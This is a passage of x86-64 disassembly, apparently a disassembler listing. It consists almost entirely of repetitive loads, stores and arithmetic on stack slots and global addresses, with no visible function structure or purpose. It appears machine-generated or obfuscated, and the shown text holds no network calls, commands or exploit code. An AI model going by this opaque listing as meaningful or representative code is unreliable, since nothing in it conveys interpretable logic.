movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a], al
movzx eax, word [rsp + 0x934]
mov word [rsp + 0xa38], ax
movzx eax, word [rsp + 0xa08]
movzx ecx, word [rsp + 0x918]
sub eax, ecx
mov rcx, qword [rsp + 0x5c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
mov eax, dword [rax]
mov dword [rsp + 0x2ba8], eax
mov rax, qword [rsp + 0x56a0]
mov rcx, qword [rsp + 0x5610]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5360]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a54]
mov ecx, dword [rsp + 0x2af4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29c4], eax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0x5c40], rax
movsx eax, word [rsp + 0x920]
movsx ecx, word [rsp + 0x9ac]
or eax, ecx
mov word [0x140178ec0], ax
mov rax, qword [rsp + 0x5378]
movzx eax, word [rax]
mov rcx, qword [0x14017a248]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x59c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0xc4], al
movzx eax, word [rsp + 0x8ec]
movzx ecx, word [rsp + 0x918]
xor eax, ecx
mov rcx, qword [rsp + 0x51a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5350]
movsx eax, byte [rax]
mov rcx, qword [0x14017a088]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5340]
mov byte [rcx], al
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
mov qword [rsp + 0x5c48], rax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x5758]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x59a0]
mov eax, dword [rax]
mov dword [rsp + 0x2bac], eax
mov rax, qword [rsp + 0x54e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x57f0], rax
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x59], al
movzx eax, word [0x140178ea4]
movzx ecx, word [rsp + 0x8d8]
sub eax, ecx
mov word [0x140178ee4], ax
lea rax, [rsp + 0x998]
mov qword [rsp + 0x5c50], rax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x5248]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a], al
lea rax, [rsp + 0x9d]
mov qword [rsp + 0x5c58], rax
mov rax, qword [rsp + 0x5738]
mov rcx, qword [rsp + 0x5530]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ba0], eax
lea rax, [rsp + 0x52b8]
mov qword [rsp + 0x5c60], rax
mov eax, dword [rsp + 0x29dc]
mov ecx, dword [rsp + 0x2b28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a80], eax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x59f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5b38], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x5c68], rax
mov rax, qword [rsp + 0x5698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5108]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a1b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x900]
mov rcx, qword [rsp + 0x5190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9b8], ax
movzx eax, word [rsp + 0x95c]
mov word [rsp + 0xa3c], ax
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5400]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x990], ax
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x56b0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5bc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x2bb0], eax
mov eax, dword [rsp + 0x2a9c]
mov rcx, qword [rsp + 0x4ca8]
mov qword [rsp + 0x5c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c70]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
mov qword [rsp + 0x5c78], rax
movsx eax, word [rsp + 0x9d0]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa24], ax
mov rax, qword [0x14017a258]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9d]
or eax, ecx
mov byte [0x140178e9e], al
movzx eax, word [rsp + 0x9d8]
movzx ecx, word [rsp + 0x9f4]
and eax, ecx
mov word [rsp + 0xa0c], ax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0xc5], al
mov rax, qword [0x14017a148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov dword [rsp + 0x2bb4], eax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [rsp + 0x5338]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b2c]
mov ecx, dword [rsp + 0x2af8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5530]
mov dword [rcx], eax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0x5c80], rax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [0x14017a088]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaf], al
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [rsp + 0x950]
add eax, ecx
mov rcx, qword [0x14017a248]
mov word [rcx], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0x5c88], rax
mov rax, qword [rsp + 0x5870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
sub eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cb0]
movzx eax, word [rax]
mov word [rsp + 0xa40], ax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a20]
mov rcx, qword [rsp + 0x5420]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov qword [rsp + 0x5c90], rax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2b44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a40], eax
lea rax, [rsp + 0x2970]
mov qword [rsp + 0x5c98], rax
lea rax, [rsp + 0x5f]
mov qword [0x14017a280], rax
mov rax, qword [rsp + 0x5578]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a8]
sar eax, cl
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e76]
xor eax, ecx
mov byte [rsp + 0x7c], al
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x5ca0], rax
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [rsp + 0x95]
shl eax, cl
mov rcx, qword [rsp + 0x5598]
mov byte [rcx], al
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov dword [rsp + 0x2bb8], eax
mov rax, qword [rsp + 0x4f28]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5950], rax
mov rax, qword [rsp + 0x5708]
mov rcx, qword [rsp + 0x4f80]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4fa8], rax
lea rax, [rsp + 0x2b20]
mov qword [rsp + 0x5ca8], rax
movsx eax, byte [0x14017a0ca]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov byte [0x140178e6b], al
mov rax, qword [rsp + 0x5ab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x884], ax
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x5cb0], rax
movsx eax, byte [0x14017a0cc]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [rsp + 0x55], al
movzx eax, word [rsp + 0x994]
mov word [rsp + 0xa44], ax
mov rax, qword [rsp + 0x5790]
mov ecx, dword [rsp + 0x2a70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x5848]
mov rcx, qword [rsp + 0x5178]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x55d0], rax
lea rax, [rsp + 0x2a94]
mov qword [rsp + 0x5cb8], rax
mov rax, qword [rsp + 0x5510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x51b0], rax
movzx eax, word [rsp + 0x93c]
movzx ecx, word [rsp + 0x9fc]
add eax, ecx
mov word [0x140178ee8], ax
movzx eax, byte [rsp + 0xc2]
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x5028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8b0]
sar eax, cl
mov word [rsp + 0x8d4], ax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x5a40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bd0], rax
lea rax, [rsp + 0x5c78]
mov qword [rsp + 0x5cc0], rax
mov rax, qword [rsp + 0x56f8]
mov rcx, qword [rsp + 0x5240]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x5ca8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14017a060]
shl eax, cl
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov word [0x14017a288], ax
mov rax, qword [rsp + 0x53d8]
movzx eax, word [rax]
mov word [rsp + 0xa48], ax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [0x140178e77]
and eax, ecx
mov byte [rsp + 0xb1], al
lea rax, [rsp + 0x55]
mov qword [rsp + 0x5cc8], rax
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8c]
add eax, ecx
mov rcx, qword [rsp + 0x5830]
mov byte [rcx], al
mov rax, qword [rsp + 0x5808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a28], rax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x5cd0], rax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x5888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5230], rax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x5cd8], rax
mov rax, qword [0x14017a1c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ecc], ax
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x51f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [0x14017a0c8]
mov word [rsp + 0xa4c], ax
mov rax, qword [rsp + 0x5620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x59d8]
mov qword [rsp + 0x5ce0], rax
mov rax, qword [rsp + 0x5a48]
mov ecx, dword [rsp + 0x2ab4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59e0]
mov qword [rsp + 0x5ce8], rax
mov rax, qword [rsp + 0x5200]
mov rcx, qword [rsp + 0x5290]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5160]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a238]
mov word [rcx], ax
movsx eax, word [rsp + 0x934]
movsx ecx, word [rsp + 0x940]
xor eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5870]
movzx eax, byte [rax]
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [rsp + 0x54]
sar eax, cl
mov byte [rsp + 0x6d], al
movzx eax, word [rsp + 0x91c]
mov word [rsp + 0xa50], ax
mov rax, qword [rsp + 0x5ab0]
mov rcx, qword [rsp + 0x53f0]
mov qword [rsp + 0x5cf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5cf0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4d68], rax
mov eax, dword [rsp + 0x2ba4]
mov ecx, dword [rsp + 0x29e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x5610]
mov qword [rsp + 0x5cf8], rax
mov rax, qword [rsp + 0x5cb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a90], eax
movsx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0x5bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e9f], al
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x5d00], rax
mov rax, qword [0x14017a078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5300]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5190]
mov word [rcx], ax
movzx eax, word [rsp + 0x9d4]
movzx ecx, word [rsp + 0xa14]
add eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x5b20]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56e8], rax
mov eax, dword [rsp + 0x2b58]
mov dword [rsp + 0x2bbc], eax
mov eax, dword [rsp + 0x2af0]
mov ecx, dword [rsp + 0x2ac4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x55a8]
mov qword [rsp + 0x5d08], rax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5b28]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa24], ax
mov rax, qword [rsp + 0x55a0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a088]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a138]
mov byte [rcx], al
mov rax, qword [rsp + 0x5608]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82]
or eax, ecx
mov byte [rsp + 0x67], al
lea rax, [rsp + 0x9f4]
mov qword [rsp + 0x5d10], rax
movsx eax, word [rsp + 0x9cc]
movsx ecx, word [0x140178ebc]
sar eax, cl
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x5308]
mov eax, dword [rax]
mov dword [rsp + 0x2bc0], eax
mov rax, qword [rsp + 0x5018]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x50d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5840]
movzx ecx, al
mov rax, qword [rsp + 0x5af0]
shl rax, cl
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
lea rax, [rsp + 0x5cf8]
mov qword [rsp + 0x5d18], rax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5400]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
lea rax, [rsp + 0x6f]
mov qword [0x14017a290], rax
movzx eax, byte [0x140178e75]
mov byte [rsp + 0xca], al
movzx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x5598]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x5b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc6], al
lea rax, [rsp + 0x2a84]
mov qword [rsp + 0x5d20], rax
mov rax, qword [rsp + 0x5c60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ce0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov dword [rsp + 0x2bc4], eax
mov rax, qword [rsp + 0x5528]
mov rcx, qword [rsp + 0x5720]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5b08]
mov qword [rcx], rax
movzx eax, word [rsp + 0x978]
mov word [rsp + 0xa54], ax
movzx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a150]
mov word [rcx], ax
mov rax, qword [rsp + 0x52d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x87]
sub eax, ecx
mov byte [rsp + 0x78], al
movsx eax, word [rsp + 0xa40]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e4], ax
movzx eax, word [rsp + 0x988]
mov word [rsp + 0xa58], ax
mov rax, qword [rsp + 0x5a10]
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b9c], eax
lea rax, [rsp + 0x5788]
mov qword [rsp + 0x5d28], rax
mov rax, qword [rsp + 0x5498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5130]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5320]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ab0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ba0], eax
lea rax, [rsp + 0xc2]
mov qword [rsp + 0x5d30], rax
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
sar eax, cl
mov byte [0x140178ea2], al
movsx eax, word [rsp + 0xa48]
mov rcx, qword [rsp + 0x5cb0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x56d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0xcb], al
movzx eax, word [rsp + 0x918]
movzx ecx, word [0x140178ee4]
or eax, ecx
mov rcx, qword [rsp + 0x54c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xaa]
movzx ecx, byte [rsp + 0xa6]
sub eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x59f8]
mov eax, dword [rax]
mov dword [rsp + 0x2bc8], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x5a68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5778], rax
mov rax, qword [rsp + 0x5aa0]
mov rax, qword [rax]
mov qword [rsp + 0x5d38], rax
mov rax, qword [rsp + 0x5038]
mov ecx, dword [rsp + 0x2b48]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2adc], eax
mov rax, qword [0x14017a070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a240]
mov byte [rcx], al
movsx eax, word [rsp + 0x980]
movsx ecx, word [rsp + 0x8f4]
add eax, ecx
mov rcx, qword [rsp + 0x5190]
mov word [rcx], ax
movzx eax, word [rsp + 0x9d4]
mov word [rsp + 0xa5c], ax
mov rax, qword [rsp + 0x5538]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa54]
add eax, ecx
mov rcx, qword [rsp + 0x5ac0]
mov word [rcx], ax
lea rax, [rsp + 0x91]
mov qword [rsp + 0x5d40], rax
mov rax, qword [rsp + 0x5cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5600], rax
lea rax, str.kD3
mov qword [rsp + 0x5d48], rax
mov eax, dword [rsp + 0x2bc4]
mov ecx, dword [rsp + 0x2ac0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a70], eax
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bac], eax
mov rax, qword [rsp + 0x5508]
movzx eax, word [rax]
mov word [0x14017a298], ax
lea rax, [rsp + 0x868]
mov qword [rsp + 0x5d50], rax
mov rax, qword [rsp + 0x5ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b8]
add eax, ecx
mov word [rsp + 0x86c], ax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x5d58], rax
mov rax, qword [0x14017a070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x5a40]
movzx ecx, al
mov rax, qword [rsp + 0x5650]
sar rax, cl
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x5d38]
mov qword [rsp + 0x5d60], rax
mov eax, dword [rsp + 0x2b10]
mov ecx, dword [rsp + 0x2b80]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b00]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ba4]
mov dword [rsp + 0x2bcc], eax
mov rax, qword [rsp + 0x5928]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e8a]
shl eax, cl
mov byte [0x14017a0cb], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa7]
xor eax, ecx
mov byte [rsp + 0xc4], al
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5908]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
mov rax, qword [rsp + 0x5538]
movzx eax, word [rax]
mov word [rsp + 0xa60], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x5cf8]
mov qword [rsp + 0x5d68], rax
mov rax, qword [rsp + 0x51d8]
mov rcx, qword [rsp + 0x5420]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5438]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b0c]
mov dword [rsp + 0x2bd0], eax
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2ae8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
lea rax, [0x140178e98]
mov qword [0x14017a2a0], rax
movsx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x59e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9ac], ax
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e8a]
sub eax, ecx
mov rcx, qword [rsp + 0x5820]
mov byte [rcx], al
lea rax, [rsp + 0x8f4]
mov qword [rsp + 0x5d70], rax
mov rax, qword [rsp + 0x5438]
mov rcx, qword [rsp + 0x5c40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2908]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x5bd8]
mov eax, dword [rax]
mov dword [rsp + 0x2bd4], eax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x57c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x53c8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a070]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017a057], al
lea rax, [rsp + 0x8b8]
mov qword [rsp + 0x5d78], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sar eax, cl
mov byte [rsp + 0x94], al
mov rax, qword [0x14017a180]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5478]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa3c], ax
lea rax, [rsp + 0x9f0]
mov qword [rsp + 0x5d80], rax
mov rax, qword [rsp + 0x5328]
mov rcx, qword [rsp + 0x53d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c48]
mov qword [rsp + 0x5d88], rax
mov rax, qword [rsp + 0x57a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a74]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x54a0]
mov rcx, qword [rsp + 0x4e40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178ea3], al
mov rax, qword [rsp + 0x53a8]
movzx eax, byte [rax]
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x9d4]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
lea rax, [0x140178eb4]
mov qword [rsp + 0x5d90], rax
mov rax, qword [rsp + 0x5898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5598]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x2a18]
mov qword [rsp + 0x5d98], rax
mov rax, qword [rsp + 0x5b48]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5278], rax
mov eax, dword [rsp + 0x2a50]
mov ecx, dword [rsp + 0x2b80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
lea rax, [rsp + 0x5bd0]
mov qword [rsp + 0x5da0], rax
movsx eax, word [0x140178ed8]
mov rcx, qword [rsp + 0x59b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178eec], ax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d40]
mov byte [rcx], al
movzx eax, word [rsp + 0x9a4]
mov word [rsp + 0xa64], ax
movzx eax, byte [0x140178e73]
mov rcx, qword [rsp + 0x5d58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5d58]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5608]
mov byte [rcx], al
mov rax, qword [rsp + 0x59c0]
mov qword [rsp + 0x5da8], rax
mov rax, qword [rsp + 0x5c10]
mov rcx, qword [rsp + 0x56f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a40], eax
lea rax, [rsp + 0x2b20]
mov qword [rsp + 0x5db0], rax
mov rax, qword [rsp + 0x54b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
movsx eax, byte [rsp + 0xaf]
movsx ecx, byte [rsp + 0x6e]
shl eax, cl
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x54b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a130]
mov byte [rcx], al
lea rax, [0x140178eb4]
